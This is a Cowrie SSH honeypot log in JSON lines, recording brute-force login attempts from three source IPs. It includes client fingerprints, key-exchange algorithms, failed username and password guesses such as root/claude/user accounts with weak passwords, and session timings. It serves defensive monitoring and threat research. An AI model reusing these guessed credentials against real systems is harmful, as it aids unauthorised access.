{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:49.805025Z","src_ip":"91.92.42.227","session":"fe8e0fc19144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:49.930241Z","src_ip":"91.92.42.227","session":"cd7837dd3f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59156,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf265d43c77c","protocol":"ssh","message":"New connection: 45.156.87.147:59156 (10.17.0.5:22) [session: bf265d43c77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:53.039100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:53.043236Z","src_ip":"45.156.87.147","session":"bf265d43c77c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:53.125202Z","src_ip":"45.156.87.147","session":"bf265d43c77c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prem","password":"12345","message":"login attempt [prem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:53.420009Z","src_ip":"45.156.87.147","session":"bf265d43c77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:53.470006Z","src_ip":"91.92.42.227","session":"cd7837dd3f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:54.504066Z","src_ip":"45.156.87.147","session":"bf265d43c77c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45834,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe59c83f4bf5","protocol":"ssh","message":"New connection: 91.92.42.227:45834 (10.17.0.5:22) [session: fe59c83f4bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:55.466066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:57.009775Z","src_ip":"91.92.42.227","session":"fe59c83f4bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:57.012739Z","src_ip":"91.92.42.227","session":"fe59c83f4bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:57.258798Z","src_ip":"91.92.42.227","session":"fe8e0fc19144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:57.368795Z","src_ip":"8.219.200.1","session":"5f99009401f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59172,"dst_ip":"10.17.0.5","dst_port":22,"session":"586bbb382233","protocol":"ssh","message":"New connection: 45.156.87.147:59172 (10.17.0.5:22) [session: 586bbb382233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:58.703425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:58.711592Z","src_ip":"45.156.87.147","session":"586bbb382233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:58.797888Z","src_ip":"45.156.87.147","session":"586bbb382233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"passwd","message":"login attempt [master/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:59.049397Z","src_ip":"45.156.87.147","session":"586bbb382233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:46:59.805935Z","src_ip":"91.92.42.227","session":"fe8e0fc19144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:00.134444Z","src_ip":"45.156.87.147","session":"586bbb382233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d332afd9618b","protocol":"ssh","message":"New connection: 91.92.42.227:45904 (10.17.0.5:22) [session: d332afd9618b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:01.582566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:03.918086Z","src_ip":"91.92.42.227","session":"d332afd9618b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:03.921832Z","src_ip":"91.92.42.227","session":"d332afd9618b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:04.429268Z","src_ip":"91.92.42.227","session":"fe59c83f4bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41004,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0a5674b9365","protocol":"ssh","message":"New connection: 45.156.87.147:41004 (10.17.0.5:22) [session: e0a5674b9365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:04.627757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:04.636301Z","src_ip":"45.156.87.147","session":"e0a5674b9365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:04.718862Z","src_ip":"45.156.87.147","session":"e0a5674b9365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:05.126436Z","src_ip":"45.156.87.147","session":"e0a5674b9365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":51692,"dst_ip":"10.17.0.5","dst_port":22,"session":"40abd826aef3","protocol":"ssh","message":"New connection: 8.219.200.1:51692 (10.17.0.5:22) [session: 40abd826aef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:06.004609Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:06.227543Z","src_ip":"45.156.87.147","session":"e0a5674b9365","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:06.629948Z","src_ip":"8.219.200.1","session":"40abd826aef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:06.635504Z","src_ip":"8.219.200.1","session":"40abd826aef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:07.242042Z","src_ip":"91.92.42.227","session":"fe59c83f4bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:07.634101Z","src_ip":"8.219.200.1","session":"5b51111ade54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35094,"dst_ip":"10.17.0.5","dst_port":22,"session":"d025760ddb66","protocol":"ssh","message":"New connection: 91.92.42.227:35094 (10.17.0.5:22) [session: d025760ddb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:08.299681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:09.973617Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:09.976891Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53860,"dst_ip":"10.17.0.5","dst_port":22,"session":"011ea059b711","protocol":"ssh","message":"New connection: 45.156.87.147:53860 (10.17.0.5:22) [session: 011ea059b711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:10.716588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:10.721983Z","src_ip":"45.156.87.147","session":"011ea059b711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:10.801202Z","src_ip":"45.156.87.147","session":"011ea059b711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:11.131772Z","src_ip":"45.156.87.147","session":"011ea059b711","protocol":"ssh"}
